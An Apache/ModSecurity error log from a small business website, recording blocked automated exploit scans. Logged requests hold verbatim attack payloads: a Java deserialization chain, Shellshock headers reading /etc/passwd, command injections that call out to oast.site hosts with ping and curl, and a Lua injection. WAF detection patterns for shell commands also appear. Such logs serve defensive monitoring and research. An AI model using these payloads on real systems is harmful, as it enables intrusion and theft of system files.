[Thu Nov 20 03:51:11.448096 2025] [:error] [pid 35050:tid 35120] [client 144.48.39.84:57258] [client 144.48.39.84] ModSecurity: Access denied with code 403 (phase 2). Match of "rx ^(?:\\\\w+\\\\/[\\\\w\\\\-\\\\.]+)(?:;(?:charset=[\\\\w\\\\-]{1,18}|boundary=[\\\\w\\\\-]+)?)?$" against "REQUEST_HEADERS:Content-Type" required. [file "/usr/local/apache/modsecurity-cwaf/rules/30_Apps_OtherApps.conf"] [line "6743"] [id "243930"] [rev "2"] [msg "COMODO WAF: Remote code execution in Apache Struts versions 2.3.31 - 2.3.5 and 2.5 - 2.5.10 (CVE-2017-5638)||www.windfarmcoolants.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "www.windfarmcoolants.com.au"] [uri "/"] [unique_id "aR4fr5QztlZGE1-LGfmAUQAAAIA"]
[Thu Nov 20 03:51:11.448998 2025] [:error] [pid 35050:tid 35138] [client 144.48.39.84:57278] [client 144.48.39.84] ModSecurity: Access denied with code 403 (phase 2). Found 161 byte(s) in ARGS_NAMES:\\xac\\xed\\x00\\x05sr\\x00\\x11java.util.HashSet\\xbaD\\x85\\x95\\x96\\xb8\\xb74\\x03\\x00\\x00xpw\\x0c\\x00\\x00\\x00\\x02?@\\x00\\x00\\x00\\x00\\x00\\x01sr\\x004org.apache.commons.collections.keyvalue.TiedMapEntry\\x8a\\xad\\xd2\\x9b9\\xc1\\x1f\\xdb\\x02\\x00\\x02L\\x00\\x03keyt\\x00\\x12Ljava/lang/Object;L\\x00\\x03mapt\\x00\\x0fLjava/util/Map;xpt\\x00\\x03foosr\\x00*org.apache.commons.collections.map.LazyMapn\\xe5\\x94\\x82\\x9ey\\x10\\x94\\x03\\x00\\x01L\\x00\\x07factoryt\\x00,Lorg/apache/commons/collections/Transformer;xpsr\\x00:org.apache.commons.collections.functors.ChainedTransformer0\\xc7\\x97\\xec(z\\x97\\x04\\x02\\x00\\x01[\\x00\\riTransformerst\\x00-[Lorg/apache/commons/collections/Transformer;xpur\\x00-[Lorg.apache.commons.collections.Transformer;\\xbdV*\\xf1\\xd84\\x18\\x99\\x02\\x00\\x00xp\\x00\\x00\\x00\\x05sr\\x00;org.apache.commons.collections.functors.ConstantTransformerXv\\x90\\x11A\\x02\\xb1\\x94\\x02\\x00\\x01L\\x00\\tiConstantq\\x00~\\x00\\x03xpvr\\x00\\x11java.lang.Runtime\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00 [hostname "www.windfarmcoolants.com.au"] [uri "/com.example.TestService"] [unique_id "aR4fr5QztlZGE1-LGfmAUAAAAJE"]
[Thu Nov 20 03:51:12.211197 2025] [:error] [pid 35048:tid 35072] [client 144.48.39.84:36998] [client 144.48.39.84] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?:\\\\b(?:c(?:d(?:\\\\b[^a-zA-Z0-9_]{0,}?[\\\\/]|[^a-zA-Z0-9_]{0,}?\\\\.\\\\.)|hmod.{0,40}?\\\\+.{0,3}x|md(?:\\\\b[^a-zA-Z0-9_]{0,}?\\\\/c|(?:\\\\.exe|32)\\\\b))|(?:echo\\\\b[^a-zA-Z0-9_]{0,}?\\\\by{1,}|n(?:et(?:\\\\b[^a-zA-Z0-9_]{1,}?\\\\blocalgroup|\\\\.exe)|(?:c|map)\\\\.exe)|t(? ..." at MATCHED_VAR. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "65"] [id "211210"] [rev "8"] [msg "COMODO WAF: System Command Injection||www.windfarmcoolants.com.au|F|2"] [data "Matched Data: |echo found within REQUEST_COOKIES:username: admin|echo%20`ping -c 3 d4e0balnduab18qcgofg6ps6zx534x5hi.oast.site`"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.windfarmcoolants.com.au"] [uri "/"] [unique_id "aR4fsEpvaIt7E5CaFw3pMQAAAAg"]
[Thu Nov 20 03:51:12.217684 2025] [:error] [pid 35048:tid 35071] [client 144.48.39.84:37010] File does not exist: /usr/local/apache/htdocs/suspended-page/boardDataWW.php
[Thu Nov 20 03:51:12.219479 2025] [:error] [pid 35049:tid 35098] [client 144.48.39.84:37050] [client 144.48.39.84] ModSecurity: Access denied with code 403 (phase 2). Found 7 byte(s) in ARGS_NAMES:\\x00r\\x00\\x00\\n\\x00UWSGI_FILEK\\x00exec://curl aaaaaaaaaa.d4e0balnduab18qcgofg53tz9ga9uuhaq.oast.site; echo ""\\v\\x00SCRIPT_NAME\\n\\x00/penetrate outside range: 1-255. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "95"] [id "210410"] [rev "4"] [msg "COMODO WAF: Invalid character in request||www.windfarmcoolants.com.au|F|3"] [data "ARGS_NAMES:\\x5cx00r\\x5cx00\\x5cx00\\x5cn\\x5cx00UWSGI_FILEK\\x5cx00exec://curl aaaaaaaaaa.d4e0balnduab18qcgofg53tz9ga9uuhaq.oast.site; echo \\x22\\x22\\x5cv\\x5cx00SCRIPT_NAME\\x5cn\\x5cx00/penetrate=\\x00r\\x00\\x00\\x0a\\x00UWSGI_FILEK\\x00exec://curl aaaaaaaaaa.d4e0balnduab18qcgofg53tz9ga9uuhaq.oast.site; echo \\x22\\x22\\x0b\\x00SCRIPT_NAME\\x0a\\x00/penetrate"] [severity "ERROR"] [tag "CWAF"] [tag "Protocol"] [hostname "www.windfarmcoolants.com.au"] [uri "/"] [unique_id "aR4fsMtQlMEnibYlZqhaFAAAAEc"]
[Thu Nov 20 03:51:13.193763 2025] [:error] [pid 35048:tid 35073] [client 144.48.39.84:37084] [client 144.48.39.84] ModSecurity: Access denied with code 403 (phase 2). Match of "contains cpanel" against "REQUEST_URI" required. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "55"] [id "211190"] [rev "9"] [msg "COMODO WAF: Remote File Access Attempt||www.windfarmcoolants.com.au|F|2"] [data "Matched Data: /etc/ found within REQUEST_URI: /webadm/?q=moni_detail.do&action=gragh"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.windfarmcoolants.com.au"] [uri "/webadm/"] [unique_id "aR4fsUpvaIt7E5CaFw3pOAAAAAk"]
[Thu Nov 20 03:51:13.193923 2025] [:error] [pid 35048:tid 35087] [client 144.48.39.84:37114] [client 144.48.39.84] ModSecurity: Access denied with code 403 (phase 2). Match of "contains cpanel" against "REQUEST_URI" required. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "55"] [id "211190"] [rev "9"] [msg "COMODO WAF: Remote File Access Attempt||www.windfarmcoolants.com.au|F|2"] [data "Matched Data: /etc/ found within REQUEST_URI: /bsh.servlet.BshServlet"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.windfarmcoolants.com.au"] [uri "/bsh.servlet.BshServlet"] [unique_id "aR4fsUpvaIt7E5CaFw3pOQAAABc"]
[Thu Nov 20 03:51:13.195841 2025] [:error] [pid 35156:tid 35180] [client 144.48.39.84:37160] [client 144.48.39.84] ModSecurity: Access denied with code 403 (phase 2). Match of "contains cpanel" against "REQUEST_URI" required. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "55"] [id "211190"] [rev "9"] [msg "COMODO WAF: Remote File Access Attempt||www.windfarmcoolants.com.au|F|2"] [data "Matched Data: /etc/ found within REQUEST_URI: /password_change.cgi"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.windfarmcoolants.com.au"] [uri "/password_change.cgi"] [unique_id "aR4fsc27951RUXDRzIwc4QAAAM0"], referer: https://www.windfarmcoolants.com.au
[Thu Nov 20 03:51:13.196832 2025] [:error] [pid 35156:tid 35187] [client 144.48.39.84:37142] File does not exist: /usr/local/apache/htdocs/suspended-page/installer-backup.php
[Thu Nov 20 03:51:13.198860 2025] [:error] [pid 35156:tid 35174] [client 144.48.39.84:37184] File does not exist: /usr/local/apache/htdocs/suspended-page/upgrade_handle.php
[Thu Nov 20 03:51:14.193851 2025] [:error] [pid 35050:tid 35123] [client 144.48.39.84:37212] [client 144.48.39.84] ModSecurity: Access denied with code 403 (phase 2). Pattern match "[\\\\x22';=]" at FILES:abc. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "17"] [id "210220"] [rev "1"] [msg "COMODO WAF: Attempted multipart/form-data bypass||www.windfarmcoolants.com.au|F|2"] [data "t';id;echo '1_"] [severity "CRITICAL"] [tag "CWAF"] [tag "Protocol"] [hostname "www.windfarmcoolants.com.au"] [uri "/cgi-bin/mainfunction.cgi/cvmcfgupload"] [unique_id "aR4fspQztlZGE1-LGfmAVAAAAII"]
[Thu Nov 20 03:51:14.195122 2025] [:error] [pid 35156:tid 35183] [client 144.48.39.84:37220] [client 144.48.39.84] ModSecurity: Warning. Match of "eq 0" against "REQBODY_ERROR" required. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "27"] [id "210230"] [rev "2"] [msg "COMODO WAF: The request body could not be parsed. Possibility of an impedance mismatch attack. This is not a false positive.||www.windfarmcoolants.com.au|F|2"] [data "Multipart parsing error: Multipart: Final boundary missing."] [severity "CRITICAL"] [tag "CWAF"] [tag "Protocol"] [hostname "www.windfarmcoolants.com.au"] [uri "/user/register"] [unique_id "aR4fss27951RUXDRzIwc6AAAANA"], referer: www.windfarmcoolants.com.au/user/register
[Thu Nov 20 03:51:14.201369 2025] [:error] [pid 35049:tid 35104] [client 144.48.39.84:37226] File does not exist: /usr/local/apache/htdocs/suspended-page/mailingupgrade.php
[Thu Nov 20 03:51:14.576672 2025] [:error] [pid 35048:tid 35080] [client 144.48.39.84:37230] File does not exist: /usr/local/apache/htdocs/suspended-page/index.php
[Thu Nov 20 03:51:15.214495 2025] [:error] [pid 35156:tid 35177] [client 144.48.39.84:37256] [client 144.48.39.84] ModSecurity: Access denied with code 403 (phase 2). Match of "contains cpanel" against "REQUEST_URI" required. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "55"] [id "211190"] [rev "9"] [msg "COMODO WAF: Remote File Access Attempt||www.windfarmcoolants.com.au|F|2"] [data "Matched Data: /etc/ found within REQUEST_URI: /webadm/?q=moni_detail.do&action=gragh"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.windfarmcoolants.com.au"] [uri "/webadm/"] [unique_id "aR4fs827951RUXDRzIwc6QAAAMo"]
[Thu Nov 20 03:51:16.204218 2025] [:error] [pid 35156:tid 35174] [client 144.48.39.84:37368] [client 144.48.39.84] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i)((?:\\\\bx(?:link:href|html|mlns)|!ENTITY\\\\b.{0,399}?\\\\b(?:SYSTEM|PUBLIC)|\\\\bdata:text\\\\/html))" at ARGS:stagingTaskData. [file "/usr/local/apache/modsecurity-cwaf/rules/07_XSS_XSS.conf"] [line "170"] [id "213060"] [rev "7"] [msg "COMODO WAF: XSS Filter - Category 3: Attribute Vector||www.windfarmcoolants.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "XSS"] [hostname "www.windfarmcoolants.com.au"] [uri "/CMSPages/Staging/SyncServer.asmx/ProcessSynchronizationTaskData"] [unique_id "aR4ftM27951RUXDRzIwc7wAAAMc"]
[Thu Nov 20 03:51:17.188601 2025] [:error] [pid 35156:tid 35179] [client 144.48.39.84:37392] [client 144.48.39.84] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^(?:\\\\'\\\\w+?=)?\\\\(\\\\)\\\\s{" at MATCHED_VAR. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "77"] [id "221260"] [rev "3"] [msg "COMODO WAF: Shellshock Command Injection Vulnerabilities in GNU Bash through 4.3 bash43-026 (CVE-2014-7187, CVE-2014-7186, CVE-2014-7169, CVE-2014-6278, CVE-2014-6277, CVE-2014-6271)||www.windfarmcoolants.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.windfarmcoolants.com.au"] [uri "/"] [unique_id "aR4ftc27951RUXDRzIwc8AAAAMw"], referer: () { ignored; }; echo Content-Type: text/html; echo ; /bin/cat /etc/passwd
[Thu Nov 20 03:51:17.188601 2025] [:error] [pid 35050:tid 35129] [client 144.48.39.84:37376] [client 144.48.39.84] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^(?:\\\\'\\\\w+?=)?\\\\(\\\\)\\\\s{" at MATCHED_VAR. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "77"] [id "221260"] [rev "3"] [msg "COMODO WAF: Shellshock Command Injection Vulnerabilities in GNU Bash through 4.3 bash43-026 (CVE-2014-7187, CVE-2014-7186, CVE-2014-7169, CVE-2014-6278, CVE-2014-6277, CVE-2014-6271)||www.windfarmcoolants.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.windfarmcoolants.com.au"] [uri "/cgi-bin/status/status.cgi"] [unique_id "aR4ftZQztlZGE1-LGfmAWAAAAIg"], referer: () { ignored; }; echo Content-Type: text/html; echo ; /bin/cat /etc/passwd
[Thu Nov 20 03:51:17.188811 2025] [:error] [pid 35156:tid 35181] [client 144.48.39.84:37388] [client 144.48.39.84] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^(?:\\\\'\\\\w+?=)?\\\\(\\\\)\\\\s{" at MATCHED_VAR. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "77"] [id "221260"] [rev "3"] [msg "COMODO WAF: Shellshock Command Injection Vulnerabilities in GNU Bash through 4.3 bash43-026 (CVE-2014-7187, CVE-2014-7186, CVE-2014-7169, CVE-2014-6278, CVE-2014-6277, CVE-2014-6271)||www.windfarmcoolants.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.windfarmcoolants.com.au"] [uri "/cgi-bin/test.cgi"] [unique_id "aR4ftc27951RUXDRzIwc8QAAAM4"], referer: () { ignored; }; echo Content-Type: text/html; echo ; /bin/cat /etc/passwd
[Thu Nov 20 03:51:17.188992 2025] [:error] [pid 35156:tid 35178] [client 144.48.39.84:37400] [client 144.48.39.84] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^(?:\\\\'\\\\w+?=)?\\\\(\\\\)\\\\s{" at MATCHED_VAR. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "77"] [id "221260"] [rev "3"] [msg "COMODO WAF: Shellshock Command Injection Vulnerabilities in GNU Bash through 4.3 bash43-026 (CVE-2014-7187, CVE-2014-7186, CVE-2014-7169, CVE-2014-6278, CVE-2014-6277, CVE-2014-6271)||www.windfarmcoolants.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.windfarmcoolants.com.au"] [uri "/cgi-bin/status"] [unique_id "aR4ftc27951RUXDRzIwc8gAAAMs"], referer: () { ignored; }; echo Content-Type: text/html; echo ; /bin/cat /etc/passwd
[Thu Nov 20 03:51:17.189942 2025] [:error] [pid 35048:tid 35083] [client 144.48.39.84:37408] [client 144.48.39.84] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^(?:\\\\'\\\\w+?=)?\\\\(\\\\)\\\\s{" at MATCHED_VAR. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "77"] [id "221260"] [rev "3"] [msg "COMODO WAF: Shellshock Command Injection Vulnerabilities in GNU Bash through 4.3 bash43-026 (CVE-2014-7187, CVE-2014-7186, CVE-2014-7169, CVE-2014-6278, CVE-2014-6277, CVE-2014-6271)||www.windfarmcoolants.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.windfarmcoolants.com.au"] [uri "/cgi-bin/test-cgi"] [unique_id "aR4ftUpvaIt7E5CaFw3pPQAAABM"], referer: () { ignored; }; echo Content-Type: text/html; echo ; /bin/cat /etc/passwd
[Thu Nov 20 03:51:17.191877 2025] [:error] [pid 35048:tid 35086] [client 144.48.39.84:37418] [client 144.48.39.84] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^(?:\\\\'\\\\w+?=)?\\\\(\\\\)\\\\s{" at MATCHED_VAR. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "77"] [id "221260"] [rev "3"] [msg "COMODO WAF: Shellshock Command Injection Vulnerabilities in GNU Bash through 4.3 bash43-026 (CVE-2014-7187, CVE-2014-7186, CVE-2014-7169, CVE-2014-6278, CVE-2014-6277, CVE-2014-6271)||www.windfarmcoolants.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.windfarmcoolants.com.au"] [uri "/cgi-bin/stats"] [unique_id "aR4ftUpvaIt7E5CaFw3pPgAAABY"], referer: () { ignored; }; echo Content-Type: text/html; echo ; /bin/cat /etc/passwd
[Thu Nov 20 03:51:17.192246 2025] [:error] [pid 35048:tid 35065] [client 144.48.39.84:37430] [client 144.48.39.84] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^(?:\\\\'\\\\w+?=)?\\\\(\\\\)\\\\s{" at MATCHED_VAR. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "77"] [id "221260"] [rev "3"] [msg "COMODO WAF: Shellshock Command Injection Vulnerabilities in GNU Bash through 4.3 bash43-026 (CVE-2014-7187, CVE-2014-7186, CVE-2014-7169, CVE-2014-6278, CVE-2014-6277, CVE-2014-6271)||www.windfarmcoolants.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.windfarmcoolants.com.au"] [uri "/test.cgi"] [unique_id "aR4ftUpvaIt7E5CaFw3pPwAAAAE"], referer: () { ignored; }; echo Content-Type: text/html; echo ; /bin/cat /etc/passwd
[Thu Nov 20 03:51:17.192917 2025] [:error] [pid 35048:tid 35079] [client 144.48.39.84:37438] [client 144.48.39.84] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^(?:\\\\'\\\\w+?=)?\\\\(\\\\)\\\\s{" at MATCHED_VAR. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "77"] [id "221260"] [rev "3"] [msg "COMODO WAF: Shellshock Command Injection Vulnerabilities in GNU Bash through 4.3 bash43-026 (CVE-2014-7187, CVE-2014-7186, CVE-2014-7169, CVE-2014-6278, CVE-2014-6277, CVE-2014-6271)||www.windfarmcoolants.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.windfarmcoolants.com.au"] [uri "/debug.cgi"] [unique_id "aR4ftUpvaIt7E5CaFw3pQAAAAA8"], referer: () { ignored; }; echo Content-Type: text/html; echo ; /bin/cat /etc/passwd
[Thu Nov 20 03:51:17.193390 2025] [:error] [pid 35156:tid 35184] [client 144.48.39.84:37434] [client 144.48.39.84] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^(?:\\\\'\\\\w+?=)?\\\\(\\\\)\\\\s{" at MATCHED_VAR. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "77"] [id "221260"] [rev "3"] [msg "COMODO WAF: Shellshock Command Injection Vulnerabilities in GNU Bash through 4.3 bash43-026 (CVE-2014-7187, CVE-2014-7186, CVE-2014-7169, CVE-2014-6278, CVE-2014-6277, CVE-2014-6271)||www.windfarmcoolants.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.windfarmcoolants.com.au"] [uri "/cgi-bin/test"] [unique_id "aR4ftc27951RUXDRzIwc8wAAANE"], referer: () { ignored; }; echo Content-Type: text/html; echo ; /bin/cat /etc/passwd
[Thu Nov 20 03:51:18.222115 2025] [:error] [pid 35050:tid 35128] [client 144.48.39.84:37470] [client 144.48.39.84] ModSecurity: Access denied with code 403 (phase 2). Match of "contains cpanel" against "REQUEST_URI" required. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "55"] [id "211190"] [rev "9"] [msg "COMODO WAF: Remote File Access Attempt||www.windfarmcoolants.com.au|F|2"] [data "Matched Data: /etc/ found within REQUEST_URI: /account"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.windfarmcoolants.com.au"] [uri "/account"] [unique_id "aR4ftpQztlZGE1-LGfmAWwAAAIc"]
[Thu Nov 20 04:25:03.646222 2025] [:error] [pid 55430:tid 55438] [client 51.81.107.180:49200] File does not exist: /usr/local/apache/htdocs/suspended-page/vdconnect-fyk6hz6w.php
[Thu Nov 20 05:20:55.572595 2025] [:error] [pid 34405:tid 34415] [client 144.48.39.124:37730] File does not exist: /usr/local/apache/htdocs/suspended-page/index.php
[Thu Nov 20 05:20:56.184756 2025] [:error] [pid 55342:tid 55392] [client 144.48.39.124:37732] [client 144.48.39.124] ModSecurity: Access denied with code 403 (phase 2). Found 1 byte(s) in ARGS:username outside range: 1-255. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "95"] [id "210410"] [rev "4"] [msg "COMODO WAF: Invalid character in request||windfarmcoolants.com.au|F|3"] [data "ARGS:username=anonymous\\x00]]\\x0dlocal h = io.popen(\\x22echo CVE-2025-47812\\x22)\\x0dlocal r = h:read(\\x22*a\\x22)\\x0dh:close()\\x0dprint(r)\\x0d--"] [severity "ERROR"] [tag "CWAF"] [tag "Protocol"] [hostname "windfarmcoolants.com.au"] [uri "/loginok.html"] [unique_id "aR40uLg6x32Tvk7fIG8wNQAAAFQ"]
[Thu Nov 20 05:21:10.191169 2025] [:error] [pid 55343:tid 55421] [client 144.48.39.84:40344] File does not exist: /usr/local/apache/htdocs/suspended-page/index.php
[Thu Nov 20 05:22:51.197312 2025] [:error] [pid 55343:tid 55402] [client 144.48.39.84:51954] File does not exist: /usr/local/apache/htdocs/suspended-page/login.php
[Thu Nov 20 12:10:22.975608 2025] [:error] [pid 34444:tid 34460] [client 98.81.111.26:63994] [client 98.81.111.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/"] [unique_id "aR6UrlNEol4jlmmA_GPw_AAAAU4"]
[Thu Nov 20 12:10:23.388633 2025] [:error] [pid 804:tid 837] [client 98.81.111.26:50727] [client 98.81.111.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/"] [unique_id "aR6Ur_aRHpUlPL9O0Lk16QAAAY0"]
[Thu Nov 20 12:10:23.852457 2025] [:error] [pid 55430:tid 55436] [client 98.81.111.26:61810] [client 98.81.111.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/"] [unique_id "aR6Ur_PZXaIMEU4pE7uhKQAAAMM"]
[Thu Nov 20 12:10:24.263364 2025] [:error] [pid 55430:tid 55452] [client 98.81.111.26:53032] [client 98.81.111.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/"] [unique_id "aR6UsPPZXaIMEU4pE7uhUAAAANM"]
[Thu Nov 20 12:10:24.673238 2025] [:error] [pid 34405:tid 34414] [client 98.81.111.26:54398] [client 98.81.111.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/"] [unique_id "aR6UsDFpvu8oRK7ATfvJiwAAAQc"]
[Thu Nov 20 12:15:53.308183 2025] [:error] [pid 55343:tid 55420] [client 98.81.111.26:50558] [client 98.81.111.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/"] [unique_id "aR6V-VWlO3EnyVMV7w5ozwAAAJU"]
[Thu Nov 20 12:15:53.714300 2025] [:error] [pid 55343:tid 55409] [client 98.81.111.26:52542] [client 98.81.111.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/"] [unique_id "aR6V-VWlO3EnyVMV7w5o8gAAAIo"]
[Thu Nov 20 12:15:54.126841 2025] [:error] [pid 804:tid 824] [client 98.81.111.26:55118] [client 98.81.111.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/"] [unique_id "aR6V-vaRHpUlPL9O0Lk5YAAAAYg"]
[Thu Nov 20 12:15:54.533863 2025] [:error] [pid 804:tid 845] [client 98.81.111.26:58444] [client 98.81.111.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/"] [unique_id "aR6V-vaRHpUlPL9O0Lk5dQAAAZU"]
[Thu Nov 20 12:15:54.941720 2025] [:error] [pid 55340:tid 55369] [client 98.81.111.26:61075] [client 98.81.111.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/"] [unique_id "aR6V-vOxD-NeMydTybBNngAAABg"]
[Thu Nov 20 12:18:12.938267 2025] [:error] [pid 34405:tid 34409] [client 144.48.39.84:58738] [client 144.48.39.84] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?:\\\\b(?:c(?:d(?:\\\\b[^a-zA-Z0-9_]{0,}?[\\\\/]|[^a-zA-Z0-9_]{0,}?\\\\.\\\\.)|hmod.{0,40}?\\\\+.{0,3}x|md(?:\\\\b[^a-zA-Z0-9_]{0,}?\\\\/c|(?:\\\\.exe|32)\\\\b))|(?:echo\\\\b[^a-zA-Z0-9_]{0,}?\\\\by{1,}|n(?:et(?:\\\\b[^a-zA-Z0-9_]{1,}?\\\\blocalgroup|\\\\.exe)|(?:c|map)\\\\.exe)|t(? ..." at MATCHED_VAR. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "65"] [id "211210"] [rev "8"] [msg "COMODO WAF: System Command Injection||windfarmcoolants.com.au|F|2"] [data "Matched Data: | id found within ARGS:log:  echo wrsnxfibofiyasthcndcafchbrjingad | id"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/__debugging_center_utils___.php"] [unique_id "aR6WhDFpvu8oRK7ATfvOIAAAAQI"]
[Thu Nov 20 12:18:16.236754 2025] [:error] [pid 34405:tid 34431] [client 144.48.39.108:41552] [client 144.48.39.108] ModSecurity: Access denied with code 403 (phase 2). Match of "contains cpanel" against "REQUEST_URI" required. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "55"] [id "211190"] [rev "9"] [msg "COMODO WAF: Remote File Access Attempt||windfarmcoolants.com.au|F|2"] [data "Matched Data: /etc/ found within REQUEST_URI: /install/install.php?step=4"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/install/install.php"] [unique_id "aR6WiDFpvu8oRK7ATfvOJwAAARg"]
